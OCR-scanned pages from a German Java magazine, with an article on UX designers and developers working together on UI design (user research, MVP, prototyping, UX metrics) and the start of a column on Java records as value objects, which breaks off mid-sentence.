Damit diese Anforderungen an moderne Uls erreicht
werden, muss man sich diesem Thema mit entspre-
chender Expertise widmen. Ein Ul neben der Funkti-

Artikelserie: Das User Interface im Wandel

Teil 1: Veranderung ist das einzig Bestandige
Teil 2: Gemeinsam: Designer und Entwickler
Teil 3: Uls for Enterprise

Teil 4: Ul Builder - Intelligente Helfer

java

onalitdt zu gestalten, wird kaum noch gelingen. Viele
Softwareentwicklungsunternehmen setzen daher Spezi-
alisten fiir diese Aufgabe ein. Dabei entsteht eine neue
Schnittstelle zwischen Design und Entwicklung. Die
Zusammenarbeit muss koordiniert und die tibergebenen
Dokumente miissen abgestimmt werden. Im zweiten
Teil unserer Artikelserie widmen wir uns der Zusam-
menarbeit zwischen diesen beiden Kernbereichen der
Softwareentwicklung.

Designer sind Spezialisten

Ul-Designer beschiftigen sich mit der Gestaltung von
Benutzeroberflichen an der Schnittstelle zwischen
Mensch und Maschine. Sie sorgen dafiir, dass die
Kommunikation in beide Richtungen funktioniert. Im
Gesamtprozess der Softwareentwicklung sind sie die
»Nutzerversteher, die das Verhalten der Nutzer beob-
achten, auswerten und die Benutzerschnittstellen ent-
sprechend optimieren.

Friher war es mehr oder weniger Nutzersache, sich
in IT-Anwendungen zurechtzufinden. Man bekam eine
Software, dazu ein Handbuch und musste zusehen, wie
man die Anwendung bediente. Heutzutage dagegen sind
qualitativ hochwertige Softwareprodukte nutzerfreund-
lich, leicht verstandlich und brauchen keine Erklarung.
Wie andere Berufe auch, befindet sich das Berufsbild des
Ul-Designers im standigen Wandel. Ausgehend von den
Aufgaben der Gestaltung von Webseiten hat sich das
Arbeitsfeld umfassend erweitert. Zu den Aufgaben des
Designs von Webseiten kam die Gestaltung von mobilen
Apps. Heute stehen alle Arten von Software im Fokus,
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gleich ob es sich um eine spezialisierte Branchensoftware
in Form einer Desktopapplikation handelt oder um eine
»hippe“ mobile App, um die Kunden eines Stores fiir
Bekleidung, Technik usw. zu begeistern. Seit einiger
Zeit hat sich dafur der Begriff User Experience Designer
(UX-Designer) etabliert. Aus der Sicht der UX-Designer
steht das gesamte Erlebnis ihrer Nutzer im Mittelpunkt.
Typische Fragen sind:

e Wie interagiert ein Nutzer mit einer App?

¢ Welche Funktionen sollte die Anwendung haben,
damit der Nutzer ein gutes Erlebnis hat?

¢ Welche Bedienelemente tragen dazu bei, dass die
erwiinschten Emotionen bei den Kunden ausgelost
werden?

Die Herausforderung liegt darin, dass die User Expe-
rience nur schwer messbar ist. Den Grad der Zieler-
reichung konnen wir nur abschitzen oder tiber andere
Kennzahlen annihernd bestimmen. Die Nutzererfah-
rung ist subjektiv und damit nur bedingt vom Designer
zu beeinflussen. Die Arbeit des modernen UX-Designs
ist zunachst wenig technisch. Sie bezieht ihr Methoden-
spektrum eher aus der Marktforschung und entwickelt
daraus den passenden Produktentwurf. Dazu sind psy-
chologische Grundkenntnisse wichtiger als technische
Raffinesse.

Der UX-Designer ist somit derjenige, der das Nut-
zungserlebnis plant und gestaltet. Gemeint sind dabei
alle Erfahrungen und emotionalen Aspekte, die den
Nutzer bei der Interaktion mit einem Produkt beglei-
ten. Das Ziel ist ein positives Nutzererlebnis eines zu-
friedenen Kunden. Ein guter UX-Designer soll somit
,multifunktional sein und sich bereit fithlen, mehrere
Rollen zu tibernehmen: Usability und Requirements En-
gineer, Informationsarchitekt, Ul- und Informationsde-
signer. Diese Rollen haben unterschiedliche Aufgaben.
Der Usability Engineer ist fiir die Planung zustindig.
Der Requirements Engineer fithrt den User Research
durch, beschreibt den Nutzerkontext, erstellt Personas
und Spezifikationen der Nutzeranforderungen. Der
Informationsarchitekt beschiftigt sich mit der Infor-
mationsarchitektur, der Ul-Designer erstellt die ersten
Low-Fidelity-Prototypen, und der Interaktionsdesigner
liefert dann in einer Iteration den Styleguide, bevor ein
High-Fidelity-Prototyp entwickelt wird. Zum Schluss
werden die Prototypen durch Usability-Tester iiberpriift
und evaluiert.

Die Aufgabe des UX-Designers ist es somit, die Ziel-
gruppen und die Konkurrenz zu analysieren und daraus
eine Strategie zu entwickeln, Aufgabenumfang und An-
forderungen zu definieren sowie die Strukturierung der
Inhalte und Funktionen vorzunehmen. Als UX-Designer
muss man in der Lage sein, sich in die Nutzer hinein-
versetzen zu konnen. Dafiir muss man in der Lage sein,
quer denken zu konnen. Im Zusammenhang mit der
Usability eines Produkts stellt sich oft auch die Frage
nach neuen Interaktionsformen jenseits giangiger Einga-
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begerite wie Maus, Tastatur und Touchscreen. Papier
und Stift, mit denen die ersten Scribbles entstehen, sind
die wichtigsten Handwerkszeuge. Auch Wireframing-
Tools wie Axure, Balsamiq oder Wirefy gehoren dazu.
So werden die ersten Klick-Dummys erstellt, anhand de-
rer das Konzept auf Machbarkeit tiberpriift wird.

Erforschen statt erraten

Damit der UX-Designer passende Entwiirfe fiir das Ul
ableiten kann, muss er die Domine des Nutzers griind-
lich aus der Sichtweise der Interaktion erforschen.
Dazu bedient man sich umfangreich aus dem Metho-
denspektrum der Marktforschung. Ausgangspunkt fiir
die Betrachtungen kann der ,Prozess zur Gestaltung
gebrauchstauglicher Systeme® sein [1]. Dabei werden
folgende Prinzipien in den Mittelpunkt des Handelns
gestellt:

¢ Die Gestaltung basiert auf einem umfassenden Ver-
stindnis der Benutzer, deren Arbeitsaufgaben und
-umgebungen.

¢ Die Benutzer werden wihrend der Gestaltung und
Entwicklung aktiv einbezogen.

¢ Das Verfeinern und Anpassen von Gestaltungslosun-
gen wird fortlaufend auf der Basis von Evaluierungs-
ergebnissen vorangetrieben.

e Der Prozess verliuft schrittweise (interaktiv).

¢ Es wird die gesamte User Experience berticksichtigt.

¢ Das Gestaltungsteam arbeitet fachtibergreifend.

Die UX stellt eine Erweiterung von Usability dar. Bei
Usability geht es primir um die Nutzung, d. h. Bedie-
nung (Effektivitit, Effizienz) einer Software. Die UX
umfasst dagegen alle Effekte, die die Software betreffen.
Dabei werden alle Aktivititen der Software entlang des
Lebenszyklus erfasst. Das betrifft zum Beispiel die fol-
genden Fragen:

e [nstallation und Einrichtung der Software auf dem
Zielsystem des Kunden: Auf welche Weise kann die
Software am besten in das Zielsystem des Kunden
integriert werden?

e Lizenzierung: Entsprechen die Lizenzoptionen den
Wiinschen der Kunden? Um beispielsweise einen Pro-
jektmitarbeiter mit der notwendigen Software aus-
zustatten, ist es hilfreich, wenn eine befristete Lizenz
erworben werden kann.

® Bedienung: Hierzu zihlen die Aspekte der Usability,
d.h. kann die Software wie gewiinscht bedient werden?

® Design und Style: Entspricht das Ul den Wiinschen
der Kunden? Werden Vorgaben des Corporate
Designs beriicksichtigt? Ist die Gestaltung an den
Kontext der Nutzer angepasst? Werden die richtigen
Begriffe aus der Domine verwendet?

e Deinstallation: Auch am Ende ihrer Einsatzzeit muss
sich die Software stets im Sinne des Nutzers verhal-
ten. Dazu gehort zum Beispiel, dass sie sich riick-
standlos vom System entfernen lasst.

javamagazin 1212020

Architektur

57



Architektur

User Interface

Abb. 1: Wechselseitige Abhangigkeiten beim UX-Design [1]

Abb. 2: MVP:

58

Produktentwicklung reduziert auf den tatsachlichen Bedarf

Als Leitfaden fur die Gestaltung kann das iterative Vor-
gehen beim Usability Engineering der ISO herangezogen
werden (Abb. 1).

Eine strikte Nutzerorientierung ist Voraussetzung und
bedeutet, dass man die Verhaltensweisen der Nutzer
tatsachlich erforscht. Das oftmals angewendete Vorge-
hen, nur Vermutungen anzustellen, wie der Nutzer die
Software bedienen konnte, ist nicht zielfithrend und zu-
dem dufSerst fehleranfillig. In der Folge entsteht dann
ein Ul, das der Produktentwickler gut bedienen kann,
das dem Nutzer jedoch als unreif, nicht passend oder
fehlerbehaftet erscheint. Die Wahrscheinlichkeit, am
Nutzer vorbei zu entwickeln, ist umso grofSer, je weiter
man selbst fachlich von der Domine des Anwendungs-
systems entfernt ist. Man kann sich ggf. in die Anforde-
rungen an eine Dialogerfassung einer Kundendatenbank
hineinversetzen. Um jedoch ein Ul fiir eine Software aus
dem medizinischen Bereich zu konzipieren, braucht es
dringend die Expertise aus der Fachwelt.

Aufgrund des abstrakten Charakters von Software
kann man den Nutzer i. d. R. nicht direkt nach der Lo-
sung fragen. Er weif§ oftmals nicht genau, wie die Soft-
ware gestaltet sein sollte, damit sie eine bestmdgliche
UX bietet. Es ist also Aufgabe des UX-Designers zu er-
forschen, was der Nutzer braucht, und auf dieser Basis
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einen Losungsvorschlag zu erarbeiten. Man spricht auch
von evidenzbasierter Softwareentwicklung. Dazu muss
die Frage beantwortet werden, welche Szenarien (Bedie-
nung, Nutzung, Einsatz) wahrscheinlich sind und wie
das UI gestaltet werden muss, damit es den Anforderun-
gen entspricht.

Minimal Viable Product

Technische Produktdesigner neigen dazu, alle erdenk-
lichen Méglichkeiten in die Bedienung eines Produkts
einzubauen. Das ist ein anspruchsvolles Vorhaben, das
jedoch nicht mit dem Ziel einer guten UX vereinbar
ist, denn das Ergebnis sind tiberladene Oberflichen,
sehr lange Bedienfolgen und die Auswahl an unendlich
immer wieder gleichen Optionen. Mittels Nutzerfor-
schung ist der Frage nachzuspiiren, was das haufigste
Einsatzszenario ist. Fiir diese Nutzung wird versucht,
das genau passende Produkt — in diesem Fall das Ul - zu
entwickeln. Es handelt sich um das Minimal Viable Pro-
duct (MVP). Was zunichst nach Sparen und strengem
Pragmatismus aussieht, hat seine klare Berechtigung.
In einer Welt mit Produkten, die unzdhlige Funktionen
und Optionen bietet, sorgt das MVP fiir eine klare Ori-
entierung. Der Begriff entstammt dem Lean-Startup-
Gedanken. Das schnell und einfach erstellte Produkt
wird nur mit den Kernfunktionen ausgestattet und zii-
gig veroffentlicht, um moglichst schnell Feedback von
Nutzern einzuholen. Dieses Feedback wird verwendet,
um die Weiterentwicklung des Produkts voranzutreiben
(Abb. 2).

Dabei soll vermieden werden, dass Aufwand betrie-
ben wird, um Software zu entwickeln, die der Nutzer
gar nicht braucht. Schlanke Produkte, die genau die ge-
wiinschte — und auch nur diese — Funktion erfiillen, sind
das Ziel.

Den Nutzerkontext erforschen

Es werden ausgewihlte Methoden aus der Forschung
verwendet, um den Nutzer besser einschitzen zu kon-
nen. Dazu gehoren sowohl qualitative als auch quanti-
tative und sogenannte hybride Methoden, die Elemente
aus beiden Bereichen enthalten [2]. Zu den qualitativen
Methoden der Datenerhebung gehoren im Umfeld zur
Erforschung der UX Tiefeninterviews, Fokusgruppen,
Feldstudien und Expertenbefragungen. Kennzeichnend
sind kleine Teilnehmergruppen, die meist eine direkte
Beobachtung durch den Forscher bzw. die direkte In-
teraktion zwischen den Probanden und dem Forscher
ermoglichen. Das Ziel ist es, einen Eindruck von der
Nutzerwahrnehmung zu bekommen. Im Gesprach kann
sehr gut ermittelt werden, wie die Software beim Kun-
den tatsichlich ankommt. Aus den Auferungen und den
direkten Beobachtungen konnen Schlussfolgerungen
iiber den Erfolg und den Sinn einzelner Mafsnahmen ab-
geleitet werden. Man erfasst das ,,Rauschen® der Nut-
zermeinung zum Produkt. Dabei ist zu beachten, dass
qualitativ erhobene Ergebnisse i. d. R. noch nicht ver-
allgemeinert werden konnen. Dafiir ist die Stichprobe
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der Teilnehmer meist zu klein. Sie stellen damit zunachst
Hypothesen dar, die man tiber Methoden der quantitati-
ven Forschung bestitigen lassen sollte.

Zu den quantitativen Methoden der UX-Forschung,
die ebenso in den Arbeitsbereich von Designerinnen und
Designern fillt, zihlen beispielsweise Onlineumfragen,
A/B-Testing und Klick-Tracking und -Analysen. Das
Ziel ist es, numerische Daten tiber das Nutzungsver-
halten einer groferen Anzahl von Nutzern zu erhalten.
Stichproben fiir quantitative Erhebungen sollen i.d.R.
mehr als 50 Teilnehmer (je mehr, desto aussagekrafti-
ger) umfassen.

Hybride Methoden der UX-Forschung, zum Beispiel
Card Sorting, kombinieren die qualitative mit der quan-
titativen Datenerhebung.

Fallstudie: UX-Forschung zur Ermittlung der
Nutzerbediirfnisse
Es geht um die Benutzerfithrung eines betrieblichen
Anwendungssystems mit einer Vielzahl von Funktio-
nen. Unter den Funktionen sind Basisfunktionen, die
wahrscheinlich von nahezu allen Nutzern der Software
verwendet werden. Da das Funktionsspektrum in der
letzten Zeit durch zahlreiche Produktupdates erwei-
tert wurde, ist auch die Komplexitat des UI stark an-
gestiegen. Zahlreiche Meniipunkte, umfangreiche und
komplexe Dialogfelder und lange Bedienfolgen sind ein
unerwiinschter Nebeneffekt. Es stellt sich die Frage nach
einer drastischen Vereinfachung des Ul, um die UX zu
steigern. Die Anwender sollen wieder mehr Freude und
Leichtigkeit bei der Bedienung der Software erfahren. Es
wird vermutet, dass viele Funktionen der Software gar
nicht oder nur sehr selten genutzt werden. Andere Funk-
tionen (Basisfunktionen) werden héchstwahrscheinlich
von allen Nutzern regelmifSig angewendet. Diese Ver-
mutung basiert auf ersten Auflerungen einzelner Nutzer.
Da das Anwendungssystem durch sehr viele Anwen-
der genutzt wird, kann nicht gesagt werden, ob diese
Vermutung korrekt ist. Ein einfaches Entfernen von
Funktionen ist zwar schnell erledigt, konnte aber dann
zu einer neuen Unzufriedenheit und ggf. sogar dazu fiih-
ren, dass die Software kiinftig weniger eingesetzt wird.
Dabher soll im Rahmen einer UX-Studie das Nutzungs-
verhalten systematisch und belastbar erforscht werden.
Ausgangspunkt ist die vorliegende Vermutung iiber die
Nichtnutzung bestimmter Funktionen. Dazu werden aus
dem Bereich der qualitativen Forschung die Methoden
Beobachtung und Expertenbefragung ausgewahlt. Eine
kleinere Gruppe von Anwendern (Zufall) wird nach
deren Zustimmung bei der Bedienung der Software be-
obachtet. Dabei geht es darum, herauszufinden, welche
Funktionen und Dialogfelder der Anwendung regelma-
Sig verwendet werden. Ebenso bekommt man Hinweise
tber die Art und Weise der Nutzung, zum Beispiel ob
primdr mittels Tastatur oder Maus bedient wird. Zu-
satzlich werden ausgewahlte Nutzer nach der Arbeit der
Software in einem personlichen Gesprich befragt. Wir
bekommen hier weitere wichtige Hinweise zum Einsatz
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des Anwendungssystems. Die Daten der Beobachtung
und Expertenbefragung werden verdichtet und daraus
werden folgende Hypothesen zur Nutzung der Software
abgeleitet:

1. Die Software beinhaltet ein zu grofSes Funktions-
spektrum, das die Bedienung der Kernfunktionen oft
erschwert.

2. Die Nutzer suchen oft zu lange, um eine bestimmte
Funktion zu finden. Viele Riickfragen an den Sup-
port sind die Folge.

3. Einige Funktionen werden wahrscheinlich nie oder
aufSerst selten genutzt, sodass wir sie aus der Soft-
ware entfernen konnen.

4. Basisfunktionen konnten direkt tiber ein eigenes
Menii aufgerufen werden, da sie nahezu stindig
verwendet werden.

Diese Hypothesen sind durch Messung (quantitative
Forschung) zu bestitigen. Dazu wurde in die Software
(mit dem kommenden Update) ein anonymes Klick-
Tracking und eine anonyme Klickanalyse eingebaut.
Diese liefert genaue Ergebnisse iiber das Nutzungsver-
halten der einzelnen Funktionen in der Software. Nach
der Auswertung der Daten konnten folgende Ergebnisse
abgeleitet werden:

1. Kategorien: Die enthaltenen Funktionen der Soft-
ware werden in Kategorien nach deren Verwendung
eingeteilt: Basisfunktionen, erweiterte Funktionen
und sehr selten benotigte Funktionen.

2. Basisfunktionen: Diese werden in der Erreichbar-
keit der Bedienung priorisiert und aufgewertet. Sie
werden auf oberster Ebene platziert und konnen mit
maximal ein bis zwei Mausklicks bzw. einpragsa-
men Tastenkombinationen aufgerufen werden.

3. Erweiterte Funktionen: Sie werden im Ul nach hin-
ten geriickt. Innerhalb von Dialogfeldern sind sie
beispielsweise tiber den Zusatz ERWEITERT ... zu
erreichen.

4. Selten genutzte Funktionen: Funktionen, die nur
vereinzelt genutzt werden, sind bei der Standardin-
stallation nicht mehr vorhanden. Sie kénnen optio-
nal nachinstalliert werden. Anhand der Anzahl der
Nachinstallationen kann evaluiert werden, ob eine
weitere Pflege dieser Funktionen noch erfolgen muss
oder ob sie aus der Software entfernt werden sollen.

Mit einer solchen oder dhnlichen Vorgehensweise der
UX-Forschung ist es moglich, ein tiberladenes UI zu be-
reinigen und fiir eine deutlich bessere UX zu sorgen, das
dem Ansatz des MVP folgt. Spezialfunktionen und er-
weiterte Nutzungsszenarien konnen bei Bedarf genutzt
werden.

Prototypen als zentrales Element
Trotz aller Forschung gilt beim Ul-Design zur Errei-
chung einer besseren UX das alte Prinzip ,,Probieren
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Wichtig ist, dass bei jedem Schritt eine Abstimmung der
Mitarbeiter aus dem UX-Design mit dem Entwicklungsbereich
stattfindet, um nur realisierbare Entwurfe zu konzipieren.

geht tiber Studieren®. Daraus folgt eine zentrale Funkti-
on von Prototypen, um die Ergebnisse und Schlussfolge-
rungen der Nutzerforschung zu verifizieren. Damit kann
u. a. die Frage beantwortet werden, ob die Entwiirfe
der Designerinnen und Designer in die grundsitzlich
richtige Richtung gehen. Falsche Pfade konnen schnell
wieder verlassen und die Energie kann in neue Ansitze
investiert werden. Es steht fiir das Prototyping eine Rei-
he von Methoden und Werkzeugen (Schablonen, Soft-
waretools) zur Verfiigung. Deren Bedienung orientiert
sich meist an typischen Grafikwerkzeugen. Das Ziel ist
es, schnell iiberpriifbare Ergebnisse — d. h. Entwiirfe des
UI - zu erhalten. Prototypen sind damit auch ein Mittel
der Kommunikation zwischen den Beteiligten [3]:

® Zwischen dem Produktverantwortlichen und den De-
signern: Sind die gewtiinschten Funktionen enthalten?
Entspricht das Design den Vorstellungen?

e Zwischen Designer und Entwickler: Das Entwick-
lungsteam kann beurteilen, ob die Entwiirfe technisch
umsetzbar sind und welcher Aufwand dafiir notwen-
dig ist. Genligen die Standard-Widgets des Systems
oder muss ggf. UI Control von Drittanbietern (Li-
zenzkosten) angeschafft werden?

e Zwischen Designer und Endanwender: Der beste
Entwurf zum UI niitzt nichts, wenn der Endanwender
die Software nicht versteht. Mittels schneller Proto-
typen kann dieses Ziel direkt und interaktiv evaluiert
werden.

o Entwicklungsteam und Management: Der Projekt-
fortschritt kann gegeniiber dem Management doku-
mentiert werden.

Dabei ist heute ein nahtloses Uberfiihren der Prototypen
von der Designphase in den Entwicklungsprozess mog-
lich. Designer und Entwickler tun gut daran, Tools und
zu iibergebende Zwischenergebnisse aufeinander abzu-
stimmen. Im Idealfall ist der Prototyp bereits die erste
Version des spateren Produkts.

UX im Entwicklungszyklus

UX-Methoden sind unabhingig von den Vorgehensmo-
dellen (Wasserfall, evolutionir, Scrum). Grundsitzlich
konnen wir die dargestellten Aufgaben, d. h. die Erfor-
schung der Nutzerperspektive, das Entwickeln von Pro-
totypen usw. in den Bereich der Anforderungsanalyse
einordnen. Das muss zu Beginn des Projekts mindestens
einmal sorgfiltig und umfassend geschehen (Wasser-
fall). Praxisndher ist eine zyklische und iterative Vor-

gehensweise (agil). Dabei wird man sich schrittweise
den Nutzerkontext erarbeiten und mit dem Prototyp die
neu gewonnenen Erkenntnisse einarbeiten. Umfang und
Aufwand der Aufgaben (mit dem Ziel, die UX zu verbes-
sern und damit ein fachgerechtes und ansprechendes Ul
zu gestalten) sind von der Grofse und Komplexitit des
Projekts abhingig. Ein praxisnahes Vorgehen fiir Pro-
jekte mit einer Giberschaubaren Grofe konnte beispiels-
weise die folgenden Schritte umfassen [3]:

1. Projektstart und Anforderungen: In einem ersten
Workshop konnen die grundsatzlichen Anforderun-
gen an das Softwareentwicklungsprojekt erhoben
werden. Das kann beispielsweise in Rahmen von
Einzelinterviews erfolgen. Auch andere Methoden
der Anforderungsanalyse sind notwendig. Die Er-
gebnisse der initialen Anforderungsanalyse sind die
Voraussetzung fiir eine intensivere Erforschung des
Nutzerkontexts. Auf dieser Basis konnen erste Nut-
zertests geplant werden.

2. Iteration 1: Es wird ein erster Prototyp des Anwen-
dungssystems erstellt. Auf dessen Basis wird Feed-
back bei den Mitarbeitern der Fachabteilung und
den weiteren Stakeholdern eingeholt (qualitative
Nutzerforschung). Auf der Basis dieser Daten wird
der Prototyp angepasst, verfeinert und ggf. neu kon-
zipiert.

3. Iteration 2: Der Prototyp aus Iteration 1 wird als
Basis fiir einen ersten Nutzertest (quantitative Nut-
zerforschung) verwendet. Auch hier wird sich erneut
ein Korrekturbedarf ergeben.

4, Ubergabe: Die Ergebnisse der kombinierten Anfor-
derungsanalyse und Nutzerforschung werden dann
der Entwicklung tibergeben, die auf der Basis der
evaluierten Prototypen eine erste produktionsfihige
Version der Software erstellen kann.

Die Schritte sind idealtypisch. Es konnen mehrere Ite-
rationen notwendig sein. Ebenso ist es denkbar, dass
man einzelne Schritte zusammenfasst. Wichtig ist, dass
bei jedem Schritt eine Abstimmung der Mitarbeiter aus
dem UX-Design mit dem Entwicklungsbereich statt-
findet, um nur realisierbare Entwiirfe zu konzipieren.
Auch ein Hinweis aus dem Entwicklungsbereich, dass
ein aktueller Prototyp zwar technisch umsetzbar ist,
jedoch zu einem erheblichen Mehraufwand und damit
zu einer Kostensteigerung fiihrt, ist notwendig. Hier ist
von allen Beteiligten Fingerspitzengefiihl gefragt. Auf
der einen Seite soll die Kreativitat des UX-Designs nicht
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Abb. 3: Das User-Experience-Wirkmodell von Facit Digital [5]
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unmittelbar mit Hinweisen auf den Aufwand, Kosten
usw. gebremst werden. Andererseits nitzt ein Entwurf,
der auflerhalb der Umsetzbarkeit liegt, auch den Betei-
ligten nichts.

Endet die Arbeit des Designers mit der Ubergabe an
die Entwicklung? Nein, denn eine regelmifSige Beglei-
tung des Prozesses ist notwendig. Zum einem koénnen
sich neue Ergebnisse aus der Nutzerforschung spiter
ergeben, die vielleicht noch in die Produktion des Ul
eingearbeitet werden konnen. Zum anderen konnen
sich trotz sorgfiltiger vorheriger Abstimmung zwischen
Entwicklung und Design bei der praktischen Umsetzung
technische Hiirden herausstellen. Hier kann ggf. ein al-
ternativer Entwurf aus dem Design die Arbeit erheblich
vereinfachen.

Giitekriterien der UX

Hat man UX-Methoden in den Softwareentwicklungs-
zyklus integriert, mochte man als Verantwortlicher auch
wissen, ob diese Bemiithungen in Bezug auf die UX auch
etwas nitzen. Diese Frage ldsst sich nicht leicht beant-
worten, da wir den Grad bzw. die Giite der UX nicht di-
rekt messen konnen. Ein haufig zitiertes Modell stammt
von der Agentur Factit Digital [4] und wird zum Beispiel
in [5] und [6] beschrieben (Abb. 3).

Demnach koénnen wir in Bezug auf die UX folgende
Aspekte unterscheiden:

¢ Erfolgsfaktoren
e Indikatoren
e Konsequenzen

UX wird durch mehrere Trigger (Erfolgsfaktoren) ge-
speist. Dazu gehort eine Kombination aus nitzlichen
Funktionen (Utility), Kompatibilitit (Accessibility),
die Moglichkeit einer einfachen Bedienbarkeit (Usabi-
lity), Design und Zeitgeist (Asthetik) und ein innova-
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tives und sicheres Produkt (Markenversprechen). Sind
diese Erfolgsfaktoren fiir eine Software gegeben, kann
der Grad an UX ggf. gesteigert werden. Als Indikatoren
dafiir, ob eine Software eine gute UX aufweist, werden
folgende Parameter herangezogen: Zufriedenheit, Joy of
Use (kann der Nutzer mit Hilfe der Software seine Zie-
le leicht erreichen?) und Einfachheit der Nutzung. Sind
diese Indikatoren gegeben, duflert sich das beispielswei-
se in einer hdufigen Nutzung, einer langfristigen Kun-
denbindung, einer hohen Weiterempfehlungsrate, einer
positiven Markenwahrnehmung und der Bereitschaft
der Kunden, fiir das Produkt zu zahlen.

Zusammenfassung und Ausblick

Im Mittelpunkt dieses Artikels stand die sehr wichtige
Arbeit von Ul-Designern, deren Ziel es ist, die UX zu
maximieren. Dabei ist klar geworden, dass die Aufga-
be des Designs der Schnittstelle einer Anwendung ein
eigener und komplexer Prozess ist. Experten aus die-
sem Bereich miissen iiber ein vielfiltiges methodisches
Spektrum und Einfithlungsvermogen verfiigen. Statt auf
Vermutungen sollte man auf intensive Nutzerforschung
setzen. Auf diese Weise gelingt es, eine Software fiir die
Bediirfnisse des Anwenders zu gestalten.

Im nichsten Teil der Serie mochten wir in die Welt
der User Interfaces fir Enterprise-Applikationen eintau-
chen. Hier soll es um das Zusammenspiel von Design
und Funktionalitat gehen. Auch ,langweilige“ Tools fiir
die Buchhaltung kénnen ansprechend gestaltet werden.

Dr. Veikko Krypczyk ist begeisterter Entwickler und Fachautor.

Elena Bochkor arbeitet am Entwurf und Design mobiler Anwen-
dungen und Webseiten.

Weitere Informationen zu diesen und anderen Themen der IT finden Sie unter
http://larinet.com.
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[6] https://t3n.de/magazin/ methoden-tipps-messung-user-experience-
verstehen-messen-233346/

www.]AXenter.de



Anzeige



Enterprise | Kolumne

Kolumne:

EnterpriseTales

von Ame Limburg und Hendrik Miiller

Record-Type: Value Objects werden endlich Java-native

Value Objects sind einer der fundamentalen Building
Blocks in Domain-driven Design. Sie in Java zu erstel-
len, erforderte bisher allerdings einigen Boilerplate-
Code. Das dndert sich mit Java 15: Es wird ein neues
Sprachkonstrukt eingefiithrt — und zwar die Records.
Und diese erfiillen alle technischen Anforderungen zur
einfachen Umsetzung von Value Objects.

Aus objektorientiertem Domain-driven Design ken-
nen wir Value Objects (z.B. [1]). Sie stellen die Werte
innerhalb der Dominenmodellierung dar: Sie haben im
Gegensatz zu Entititen keine Identitit und konnen sich
daher nicht tiber die Zeit hinweg verindern. Da Value
Objects keine Identitit haben, erfolgt der Vergleich
zweier Value Objects immer tiber alle enthaltenen Wer-
te. Sowohl aus logischer als auch aus technischer Sicht
ergibt sich daraus, dass Value Objects unverinderlich,
also immutable sind.

Portrat

Arne Limburg ist Softwarearchitekt bei der OPEN
KNOWLEDGE GmbH in Oldenburg. Er verfiigt Gber
langjahrige Erfahrung als Entwickler, Architekt und
Consultant im Java-Umfeld und ist auch seit der
ersten Stunde im Android-Umfeld aktiv.

Hendrik Miiller ist Enterprise Developer bei der

OPEN KNOWLEDGE GmbH in Oldenburg. Mit dem
Schwerpunkt auf Webtechnologien begleiten ihn

momentan Angular und Web Components durch

den Tag. Abseits davon beschaftigt er sich leidenschaftlich
mit dem Design von Programmiersprachen.
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Genauso wie fiir Entititen gilt auch fiir Value Objects
der Anspruch, immer einen validen Zustand zu repra-
sentieren. Entsprechend muss dies zum Erstellungszeit-
punkt, also im Konstruktor, sichergestellt werden. Auch
viele der vom JDK mitgelieferten Datentypen sind un-
verdanderlich, so z.B. die Klassen java.lang.String, java.
math.Biglnteger und java.math.BigDecimal. Instanzen
dieser Klassen konnen nicht verandert werden. Stattdes-
sen geben Methoden wie Biglnteger#add das Ergebnis
in Form einer neuen Instanz zuriick.

Vorteile von Immutability

Dass Value Objects auch unabhingig von Domain-dri-
ven Design sinnvoll sind, beschreibt Martin Fowler in
seinem Blog [2]. Das Konzept Immutability hat sich au-
Berhalb der objektorientierten Programmierung schon
langer etabliert. So sind die primitiven Datentypen, wie
beispielsweise Zahlen oder Strings, in den meisten an-
deren Programmiersprachen auch unverinderlich, und
gerade in nebenliufigen Systemen senkt shared mutable
State (also Zustand, den verschiedene Teile des Systems
parallel andern konnen) nicht gerade die Komplexitit.
Das wird jedem spitestens dann klar, wenn er mit rela-
tionalen Datenbanken arbeitet. Dort gibt es das Kon-
zept der Datenbanktransaktionen, um durch Isolation
der Herausforderung zu begegnen, dass der shared State
parallel verandert werden konnte. Das geschieht, indem
die Anderungen (zumindest logisch) nacheinander aus-
gefithrt werden.

Ein weiterer Vorteil der Verwendung von unverin-
derlichen Werten ist, dass sich durch sie in der Regel
baumartige Strukturen ergeben und keine zyklischen
Objektgraphen. Das liegt daran, dass sich Riickwirts-
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Ohne zu akademisch zu werden, kann man sagen, dass die
funktionale Programmierung die seiteneffektfreie oder ,pure”
Funktion in den Fokus der Modellierung stellt.

referenzen durch die Unveranderlichkeit normalerweise
nicht etablieren lassen. Allerdings gibt es in einigen Pro-
grammiersprachen (z. B. Haskell) Sprachkonstrukte, die
dennoch zyklische, unveridnderbare Strukturen erméog-
lichen. Durch Baumstrukturen wird die Serialisierung
(z. B. nach JSON oder XML) deutlich vereinfacht.

Unverinderliche Datenstrukturen fithren aber nicht
in jeder Situation zu einer Vereinfachung. Benotigt man
gerade besagte zyklische Abhingigkeiten in seinem Ob-
jektmodell, muss deutlich mehr Gehirnschmalz in die
Modellierung gesteckt werden.

Nicht zuletzt haben die meisten Enterprise-Systeme in
der Realitit einen Zustand, der sich iiber die Zeit an-
dert, was durch komplette Immutability nicht abgebil-
det werden kann.

Values in funktionaler Programmierung

Ohne jetzt zu akademisch zu werden, kann man sagen,
dass die funktionale Programmierung die seiteneffekt-
freie oder ,,pure Funktion in den Fokus der Modellie-
rung stellt. Der Begriff Funktion ist etwas verwissert
im Zusammenhang mit Programmiersprachen. Eine
pure Funktion, wie sie auch im mathematischen Sinne
verwendet wird, liefert fiir die gleichen Eingaben im-
mer dasselbe Ergebnis. Entsprechend gibt es auch keine
Veranderung von externem Zustand (also Zustand, der
iber den Funktionsaufruf hinweg existiert). Das steht
im Gegensatz dazu, wie man es aus der imperativen
Programmierung und damit auch den meisten objekt-
orientierten Programmiersprachen gewohnt ist. Es gibt
diverse Vor- und Nachteile dieser funktionalen Ansitze,
auf die wir hier nicht im Detail eingehen wollen. Der
grofSe Vorteil fiir den Programmierer ist aber vor allem:
»It’s easy to reason about®. Wenn es keinen verstecken
Zustand und keine globalen Variablen gibt, die inner-
halb einer Funktion geidndert werden kénnen, wird der
Code deutlich verstindlicher. Man kann dann tber den
Inhalt einer Funktion reden, ohne einen grofleren Kon-
text betrachten zu miissen. Alles, was Relevanz fiir eine
Berechnung hat, wird explizit mitgegeben. Daraus folgt
auch, dass Ein- und Ausgabewerte nicht verandert wer-
den diirfen. Wenn sie also von vornherein unveriander-
lich oder immutable sind, ist diese Garantie automatisch
gegeben.

Funktionale Programmierung in der Enterprise-Welt

Das funktionale Paradigma hat mittlerweile auch in den
Enterprise-Architekturen seinen festen Platz gefunden.
Programmiersprachen wie F#, Clojure, Scala oder auch

Erlang stellen funktionale Programmierung in den Fo-
kus. Und auf einer architekturellen Ebene erfreuen sich
